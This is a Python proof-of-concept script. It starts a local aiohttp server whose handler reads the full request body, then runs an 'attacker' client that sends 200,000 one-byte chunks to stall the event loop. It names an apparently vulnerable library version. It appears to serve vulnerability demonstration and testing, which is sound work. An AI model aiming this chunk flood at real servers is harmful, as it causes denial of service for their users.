Vulnerable code sample

import asyncio
import time
from aiohttp import web, ClientSession

# This code represents a server that is vulnerable to the described issue.
# The vulnerability lies in the 'request.read()' method, which can block
# the event loop when processing a large number of small chunks.

async def vulnerable_handler(request):
    """
    This endpoint reads the entire request body at once.
    This is the point of vulnerability when receiving a chunked request
    with many small chunks.
    """
    print("Server: Received request, starting request.read()...")
    start_time = time.monotonic()
    
    # In a vulnerable version, this call would block for a significant time
    # while reassembling a large number of small chunks.
    body = await request.read()
    
    end_time = time.monotonic()
    duration = end_time - start_time
    print(f"Server: Finished request.read() in {duration:.4f} seconds.")
    print(f"Server: Total body size received: {len(body)} bytes.")
    
    return web.Response(text="Request processed")

async def attacker_client():
    """
    This client simulates an attack by sending a request with a huge number
    of very small chunks.
    """
    await asyncio.sleep(2) # Wait for server to be ready
    print("\nAttacker: Preparing to send malicious chunked request...")

    num_chunks = 200000
    chunk_data = b'x'

    async def chunk_generator():
        for _ in range(num_chunks):
            yield chunk_data
    
    client_start_time = time.monotonic()
    try:
        async with ClientSession() as session:
            async with session.post(
                'http://127.0.0.1:8080/process',
                data=chunk_generator()
            ) as response:
                print(f"Attacker: Response status: {response.status}")
                await response.text()
    except Exception as e:
        print(f"Attacker: Request failed with error: {e}")
    finally:
        client_end_time = time.monotonic()
        duration = client_end_time - client_start_time
        print(f"Attacker: Total request-response cycle took {duration:.4f} seconds.")
        print("Attacker: During this time, the server was likely blocked and unable to process other requests.")

async def main():
    # Setup and run the server
    app = web.Application()
    app.add_routes([web.post('/process', vulnerable_handler)])
    
    runner = web.AppRunner(app)
    await runner.setup()
    site = web.TCPSite(runner, '127.0.0.1', 8080)
    await site.start()
    print("Server: Listening on http://127.0.0.1:8080")

    # Run the attacker client
    attack_task = asyncio.create_task(attacker_client())
    
    await attack_task

    # Shutdown the server
    await runner.cleanup()
    print("\nServer: Shutdown complete.")

if __name__ == '__main__':
    # NOTE: To run this, you would need a vulnerable version of aiohttp,
    # for example, `pip install aiohttp==3.8.1`. The behavior of excessive
    # CPU usage may vary between versions, but this structure demonstrates
    # the attack vector.
    
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\nExiting.")